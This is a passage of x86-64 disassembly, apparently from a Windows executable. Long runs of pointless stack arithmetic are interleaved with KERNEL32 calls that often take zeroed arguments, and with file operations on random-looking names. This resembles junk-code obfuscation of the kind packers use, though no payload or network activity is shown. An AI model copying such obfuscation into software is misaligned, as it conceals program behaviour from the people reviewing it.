mov dword [rsp + 0x6a78], eax
movzx eax, byte [rsp + 0x673]
mov byte [rsp + 0x68e], al
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cc0]
add eax, ecx
mov word [rsp + 0x2b38], ax
mov rax, qword [rsp + 0x14578]
mov eax, dword [rax]
mov dword [rsp + 0xa6d4], eax
mov rax, qword [0x14028ee60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x866c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa564], eax
mov rax, qword [rsp + 0x140c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa554]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa398], eax
mov eax, dword [0x1402826ec]
mov ecx, dword [rsp + 0xa420]
add ecx, eax
mov eax, ecx
mov dword [0x140282758], eax
movzx eax, byte [rsp + 0x667]
movzx ecx, byte [rsp + 0x398]
sar eax, cl
mov byte [rsp + 0x251], al
mov r9d, 1
lea r8, [rsp + 0x14308]
mov rdx, qword [rsp + 0x13f80]
mov rcx, qword [rsp + 0x140a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa3d8], eax
movzx eax, word [rsp + 0x157c]
movzx ecx, word [rsp + 0x2c0c]
xor eax, ecx
mov word [rsp + 0x2cd0], ax
movzx eax, word [rsp + 0x2c20]
mov word [rsp + 0x2ce0], ax
movsx eax, byte [rsp + 0x647]
movsx ecx, byte [rsp + 0x672]
shl eax, cl
mov byte [rsp + 0x67c], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.AVRvHa
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x146b8], rax
mov rax, qword [rsp + 0x144a8]
mov rcx, qword [rsp + 0x14228]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa490], eax
lea rax, [rsp + 0xa5cc]
mov qword [rsp + 0x146c0], rax
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b9c]
and eax, ecx
mov word [rsp + 0x2730], ax
movzx eax, byte [rsp + 0x670]
mov byte [rsp + 0x68f], al
mov rax, qword [rsp + 0x14560]
mov ecx, dword [rsp + 0x9e40]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140282748], eax
mov rax, qword [rsp + 0x141e8]
mov rcx, qword [rsp + 0x14640]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x141f8]
mov dword [rcx], eax
mov eax, dword [0x1402826ac]
mov ecx, dword [rsp + 0xa500]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6984], eax
mov rax, qword [rsp + 0x14378]
mov ecx, dword [rsp + 0x9d94]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8df4], eax
movzx eax, byte [rsp + 0x67f]
mov rcx, qword [rsp + 0x14548]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x64d], al
movzx eax, word [0x1402826a4]
mov word [rsp + 0x2ce4], ax
mov rax, qword [rsp + 0x14580]
mov rcx, qword [rsp + 0x144d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
lea rax, [rsp + 0xa5c0]
mov qword [rsp + 0x146c8], rax
mov rax, qword [rsp + 0x14180]
mov ecx, dword [rsp + 0x6c58]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa4c0], eax
mov eax, dword [rsp + 0x65a8]
mov dword [0x14028ed88], eax
mov eax, dword [rsp + 0xa590]
mov ecx, dword [rsp + 0xa4cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6b4], eax
lea rax, [rsp + 0x63b]
mov qword [rsp + 0x146d0], rax
movsx eax, word [rsp + 0x2cd8]
movsx ecx, word [rsp + 0x24a0]
add eax, ecx
mov rcx, qword [rsp + 0x14428]
mov word [rcx], ax
lea rax, [rsp + 0x2cdc]
mov qword [rsp + 0x146d8], rax
movzx eax, byte [rsp + 0x645]
mov rcx, qword [0x14028edf0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x669], al
mov rax, qword [rsp + 0x14248]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14380]
mov qword [rsp + 0x146e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x146e0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7c24], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa69c], eax
mov eax, dword [rsp + 0x8b64]
mov dword [rsp + 0xa6d8], eax
movzx eax, byte [rsp + 0x640]
movzx ecx, byte [0x140281dda]
xor eax, ecx
mov byte [rsp + 0x66a], al
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x141e0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14028ed9e], ax
mov rax, qword [rsp + 0x14608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa488]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x89fc], eax
mov rax, qword [rsp + 0x14288]
mov ecx, dword [rsp + 0x7ff4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x75e0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0x146c0]
mov rcx, qword [rsp + 0x14348]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8c08], eax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov dword [rsp + 0xa6dc], eax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2154]
add eax, ecx
mov rcx, qword [rsp + 0x14240]
mov word [rcx], ax
lea rax, [rsp + 0x660]
mov qword [rsp + 0x146e8], rax
mov eax, dword [0x14028edc0]
mov ecx, dword [rsp + 0x9f14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3d0], eax
mov eax, dword [rsp + 0xa4e0]
mov dword [rsp + 0xa6e0], eax
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13e88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140281ddb], al
movsx eax, word [rsp + 0x2c48]
movsx ecx, word [0x1402826cc]
add eax, ecx
mov word [rsp + 0x1d44], ax
movzx eax, word [rsp + 0x2c68]
mov rcx, qword [rsp + 0x141e0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2b20], ax
movzx eax, byte [rsp + 0x636]
mov byte [rsp + 0x690], al
mov rax, qword [0x14028ee80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa580]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3fc], eax
mov rax, qword [rsp + 0x14380]
mov rcx, qword [rsp + 0x141c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7f44], eax
mov eax, dword [rsp + 0xa6ac]
movzx ecx, al
mov eax, dword [rsp + 0xa6d4]
sar eax, cl
mov dword [rsp + 0xa304], eax
mov eax, dword [rsp + 0xa554]
movzx ecx, al
mov eax, dword [0x14028ed98]
shl eax, cl
mov dword [rsp + 0xa55c], eax
mov eax, dword [rsp + 0xa604]
mov dword [rsp + 0xa6e4], eax
movzx eax, word [rsp + 0x2cb4]
mov rcx, qword [0x14028edf8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14100]
mov word [rcx], ax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x678]
add eax, ecx
mov byte [0x140281dcf], al
mov rax, qword [rsp + 0x14180]
mov eax, dword [rax]
mov dword [rsp + 0xa6e8], eax
mov eax, dword [rsp + 0xa2e0]
mov dword [rsp + 0xa554], eax
mov rax, qword [rsp + 0x144d8]
mov eax, dword [rax]
mov ecx, dword [0x1402826c0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x72c0], eax
mov rax, qword [rsp + 0x140b8]
mov ecx, dword [rsp + 0x866c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8bc0], eax
movzx eax, byte [rsp + 0x624]
mov rcx, qword [0x14028edf0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x143f8]
mov byte [rcx], al
movzx eax, word [rsp + 0x2b74]
mov word [rsp + 0x2ce8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.x9HAbqixocVR6btS39qflionRy3s
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x146f0], rax
movsx eax, word [rsp + 0x2c48]
movsx ecx, word [rsp + 0x2bb4]
sub eax, ecx
mov word [rsp + 0x2c74], ax
mov rax, qword [rsp + 0x14298]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4c7]
sub eax, ecx
mov byte [rsp + 0x634], al
mov rax, qword [rsp + 0x14378]
mov rcx, qword [rsp + 0x142b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028275c], eax
lea rax, [rsp + 0xa37c]
mov qword [rsp + 0x146f8], rax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [0x140282740]
add eax, ecx
mov word [rsp + 0x2cc8], ax
lea rax, [rsp + 0x63c]
mov qword [rsp + 0x14700], rax
mov eax, dword [rsp + 0x8fc8]
mov ecx, dword [rsp + 0x9ca4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3b4], eax
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov dword [rsp + 0xa6ec], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa69c], eax
lea rcx, [rsp + 0x21a68]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa434]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3d0], eax
mov rax, qword [rsp + 0x14688]
mov ecx, dword [rsp + 0xa3dc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa3cc], eax
lea rax, [0x14028273c]
mov qword [rsp + 0x14708], rax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3db]
xor eax, ecx
mov byte [0x140281de2], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa4f0], eax
mov rax, qword [rsp + 0x14588]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14228]
mov qword [rsp + 0x14710], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14710]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa568], eax
mov eax, dword [rsp + 0xa2a8]
mov rcx, qword [0x14028ee50]
mov qword [rsp + 0x14718], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14718]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x8dc8], eax
mov rax, qword [rsp + 0x140d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x718c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x81a4], eax
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x145d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa60c], eax
mov rax, qword [rsp + 0x145b8]
mov eax, dword [rax]
mov dword [rsp + 0xa6f0], eax
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x146d0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2e9], al
mov rax, qword [rsp + 0x142e8]
movzx eax, word [rax]
mov word [rsp + 0x2cec], ax
movzx eax, byte [rsp + 0x3ed]
mov rcx, qword [rsp + 0x14620]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x65e], al
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c70]
sub eax, ecx
mov word [0x14028ed9e], ax
mov rax, qword [rsp + 0x14560]
mov ecx, dword [rsp + 0x976c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14218]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8604]
mov ecx, dword [rsp + 0xa4bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d54], eax
movzx eax, byte [rsp + 0x34e]
mov rcx, qword [rsp + 0x146e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x663], al
mov rax, qword [rsp + 0x141d8]
movzx eax, word [rax]
mov word [rsp + 0x2cf0], ax
mov rax, qword [rsp + 0x144e0]
mov rcx, qword [rsp + 0x146c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa480], eax
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov dword [rsp + 0xa6f4], eax
mov eax, dword [rsp + 0xa698]
mov ecx, dword [0x140282708]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x141e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8b98]
mov ecx, dword [rsp + 0x9260]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2a8], eax
lea rax, [rsp + 0x687]
mov qword [0x14028ed80], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
movzx eax, word [rsp + 0x217c]
movzx ecx, word [rsp + 0x2680]
xor eax, ecx
mov word [rsp + 0x221c], ax
mov rax, qword [rsp + 0x14440]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x66b8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa430], eax
lea rax, [0x14028ee04]
mov qword [rsp + 0x14720], rax
movsx eax, byte [rsp + 0x62e]
movsx ecx, byte [rsp + 0x66c]
sar eax, cl
mov byte [rsp + 0x68c], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x14728], rax
movsx eax, word [rsp + 0x22d4]
mov rcx, qword [rsp + 0x142e8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2174], ax
movzx eax, byte [0x140281dc6]
mov byte [rsp + 0x691], al
movzx eax, word [rsp + 0x2ce4]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2b28], ax
lea rax, [rsp + 0x8be0]
mov qword [rsp + 0x14730], rax
mov rax, qword [rsp + 0x140f0]
mov eax, dword [rax]
mov dword [0x14028ed7c], eax
mov rax, qword [rsp + 0x14490]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa458]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3d4], eax
mov rax, qword [rsp + 0x144a8]
mov rcx, qword [rsp + 0x14588]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa408], eax
mov rax, qword [rsp + 0x144c0]
mov eax, dword [rax]
mov dword [rsp + 0xa6f8], eax
mov rax, qword [rsp + 0x14620]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x66a]
and eax, ecx
mov byte [rsp + 0x172], al
movzx eax, word [rsp + 0x2cc4]
mov word [rsp + 0x2cf4], ax
mov rax, qword [rsp + 0x146f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4e0], eax
mov rax, qword [rsp + 0x14378]
mov rcx, qword [rsp + 0x14238]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa6f4], eax
mov rax, qword [rsp + 0x14018]
mov ecx, dword [rsp + 0xa304]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7720], eax
mov eax, dword [rsp + 0xa38c]
mov ecx, dword [0x1402826ac]
add ecx, eax
mov eax, ecx
mov dword [0x1402826b4], eax
movzx eax, word [rsp + 0x2b30]
mov rcx, qword [rsp + 0x14100]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2ba4], ax
movzx eax, byte [rsp + 0x682]
mov byte [rsp + 0x692], al
movsx eax, byte [0x140281ddb]
mov rcx, qword [rsp + 0x14678]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x672], al
mov rax, qword [rsp + 0x14530]
movzx eax, word [rax]
mov word [rsp + 0x2cf8], ax
mov eax, dword [0x14028edd8]
mov ecx, dword [rsp + 0x976c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x84a4], eax
mov eax, dword [rsp + 0xa374]
movzx ecx, al
mov eax, dword [rsp + 0x72c0]
shl eax, cl
mov rcx, qword [rsp + 0x140c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x143e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1b28], ax
mov rax, qword [0x14028edf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x652]
and eax, ecx
mov rcx, qword [rsp + 0x13f18]
mov byte [rcx], al
mov rax, qword [rsp + 0x14378]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d54]
sub ecx, eax
mov eax, ecx
mov dword [0x140282760], eax
lea rax, [rsp + 0xa278]
mov qword [rsp + 0x14738], rax
mov rcx, qword [rsp + 0x146b0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa2a4], eax
mov eax, dword [rsp + 0xa41c]
mov ecx, dword [rsp + 0xa51c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa53c], eax
mov eax, dword [rsp + 0x9d54]
mov ecx, dword [rsp + 0xa4f4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14560]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x64d]
mov byte [rsp + 0x693], al
mov rax, qword [0x14028edf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14240]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13fb0]
mov word [rcx], ax
mov eax, dword [rsp + 0xa680]
mov dword [rsp + 0xa6fc], eax
mov eax, dword [rsp + 0xa460]
mov ecx, dword [rsp + 0xa5f0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa43c], eax
mov rax, qword [rsp + 0x14618]
mov eax, dword [rax]
mov ecx, dword [0x14028edc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f70], eax
mov r9d, 1
lea r8, [rsp + 0x13f80]
mov rdx, qword [rsp + 0x14740]
mov rcx, qword [rsp + 0x14568]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa440], eax
mov rax, qword [rsp + 0x141d0]
mov rcx, qword [rsp + 0x14580]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028ed88], eax
mov rax, qword [rsp + 0x14140]
mov rcx, qword [rsp + 0x14420]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6f2c], eax
movsx eax, byte [rsp + 0x64c]
movsx ecx, byte [rsp + 0x688]
sub eax, ecx
mov byte [rsp + 0x642], al
movzx eax, word [rsp + 0x2bac]
mov word [rsp + 0x2cfc], ax
movzx eax, byte [rsp + 0x659]
mov rcx, qword [rsp + 0x14700]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x16a], al
mov rax, qword [rsp + 0x14310]
movzx eax, word [rax]
mov word [rsp + 0x2d00], ax
mov rax, qword [rsp + 0x14218]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa67c], eax
mov rax, qword [0x14028ee50]
mov ecx, dword [rsp + 0x9ca4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa5b8], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x676
mov rcx, qword [rsp + 0x14370]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa26c], eax
mov rax, qword [rsp + 0x14498]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x141d8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2338], ax
mov rax, qword [rsp + 0x14620]
movzx eax, byte [rax]
mov rcx, qword [0x14028ed80]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14028edf0]
mov byte [rcx], al
mov eax, dword [rsp + 0xa574]
mov ecx, dword [rsp + 0xa588]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x142b8]
mov dword [rcx], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
lea rax, [rsp + 0xa534]
mov qword [rsp + 0x14748], rax
mov eax, dword [rsp + 0xa558]
mov ecx, dword [rsp + 0x9bd8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ff4], eax
mov rax, qword [rsp + 0x14440]
mov ecx, dword [rsp + 0xa4c8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x96e0], eax
movzx eax, word [rsp + 0x1f98]
mov word [rsp + 0x2d04], ax
movzx eax, byte [0x140281daa]
movzx ecx, byte [rsp + 0x68a]
sub eax, ecx
mov rcx, qword [rsp + 0x144d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov dword [rsp + 0xa700], eax
mov eax, dword [rsp + 0xa40c]
mov ecx, dword [rsp + 0xa6e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c08], eax
movsx eax, byte [rsp + 0x65b]
movsx ecx, byte [rsp + 0x63b]
and eax, ecx
mov byte [0x140281de3], al
mov rax, qword [rsp + 0x142b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bbc]
add eax, ecx
mov rcx, qword [rsp + 0x142b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov word [rsp + 0x2d08], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa4b4], eax
mov dword [rsp + 0x248f0], 0x114
movzx eax, byte [rsp + 0x2a7]
movzx ecx, byte [rsp + 0x631]
sub eax, ecx
mov byte [rsp + 0x65e], al
mov rax, qword [rsp + 0x14510]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa488]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e00], eax
mov eax, dword [rsp + 0xa424]
movzx ecx, al
mov eax, dword [rsp + 0xa6f4]
shl eax, cl
mov dword [rsp + 0x70cc], eax
mov rax, qword [rsp + 0x144e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14438]
mov qword [rsp + 0x14750], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14750]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x140d0]
mov dword [rcx], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov eax, dword [rsp + 0xa6f8]
mov dword [rsp + 0xa704], eax
mov rax, qword [0x14028edd0]
mov rcx, qword [rsp + 0x13ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa560], eax
lea rax, [rsp + 0x2bb0]
mov qword [rsp + 0x14758], rax
mov rax, qword [rsp + 0x144d0]
movzx eax, byte [rax]
mov byte [0x14028ed78], al
mov rax, qword [rsp + 0x14608]
mov rcx, qword [0x14028ee80]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14730]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa530]
mov dword [rsp + 0xa708], eax
mov eax, dword [rsp + 0xa498]
mov ecx, dword [rsp + 0xa64c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9790], eax
mov rax, qword [rsp + 0x140b8]
mov rcx, qword [0x14028ee98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa4ac], eax
mov rax, qword [rsp + 0x14250]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14670]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x37a], al
movzx eax, word [rsp + 0x2a1c]
movzx ecx, word [0x140282724]
add eax, ecx
mov word [rsp + 0x221c], ax
mov rax, qword [rsp + 0x14448]
movzx eax, word [rax]
mov word [rsp + 0x2d0c], ax
mov rax, qword [rsp + 0x14678]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x647]
add eax, ecx
mov byte [rsp + 0x62], al
mov rax, qword [0x14028eea8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa42c]
sub ecx, eax
mov eax, ecx
mov dword [0x14028ee30], eax
mov rax, qword [rsp + 0x145b8]
mov ecx, dword [rsp + 0xa6e0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa338], eax
movzx eax, byte [rsp + 0x677]
mov byte [rsp + 0x694], al
mov rax, qword [rsp + 0x14708]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14650]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c64], ax
lea rax, [rsp + 0x8e48]
mov qword [rsp + 0x14760], rax
mov rax, qword [rsp + 0x144a8]
mov rcx, qword [rsp + 0x14618]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x142b8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa444], eax
mov rax, qword [rsp + 0x14438]
mov ecx, dword [0x1402826c0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa3c8], eax
mov rcx, qword [rsp + 0x13eb0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa29c], eax
lea rax, [rsp + 0x9774]
mov qword [rsp + 0x14768], rax
movzx eax, byte [rsp + 0x325]
movzx ecx, byte [rsp + 0x640]
sar eax, cl
mov byte [rsp + 0x34e], al
movzx eax, word [0x14028edc8]
movzx ecx, word [rsp + 0x2b48]
shl eax, cl
mov word [0x14028274c], ax
mov rax, qword [rsp + 0x141c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x89fc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9330], eax
mov eax, dword [rsp + 0x8b64]
mov ecx, dword [rsp + 0xa420]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4c4], eax
mov eax, dword [rsp + 0xa598]
mov ecx, dword [rsp + 0xa650]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa680], eax
mov rax, qword [rsp + 0x144c0]
mov eax, dword [rax]
mov dword [rsp + 0xa70c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x9930]
mov ecx, dword [rsp + 0x65a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa500], eax
mov rax, qword [rsp + 0x14138]
movzx eax, word [rax]
mov word [rsp + 0x2d10], ax
mov rax, qword [rsp + 0x14198]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x632]
sub eax, ecx
mov byte [rsp + 0x647], al
movzx eax, word [rsp + 0x2c18]
mov rcx, qword [0x14028edf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2340], ax
movzx eax, byte [rsp + 0x67b]
movzx ecx, byte [rsp + 0x679]
add eax, ecx
mov byte [0x140281de6], al
mov rax, qword [rsp + 0x141c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa540]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6ec], eax
mov eax, dword [rsp + 0x7684]
mov ecx, dword [rsp + 0x6c58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x86e4], eax
lea rax, [rsp + 0x2098]
mov qword [rsp + 0x14770], rax
movzx eax, byte [rsp + 0x1ae]
mov rcx, qword [rsp + 0x14480]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x674], al
mov rax, qword [rsp + 0x144e0]
mov eax, dword [rax]
mov dword [rsp + 0xa710], eax
mov rax, qword [rsp + 0x14218]
mov ecx, dword [rsp + 0xa4b0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7b80], eax
mov rax, qword [0x14028ee90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa6c0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x140f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7720]
mov dword [rsp + 0xa714], eax
mov rax, qword [rsp + 0x145a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4f2]
shl eax, cl
mov byte [0x140281de7], al
movzx eax, word [rsp + 0x2bfc]
mov rcx, qword [0x14028edf8]
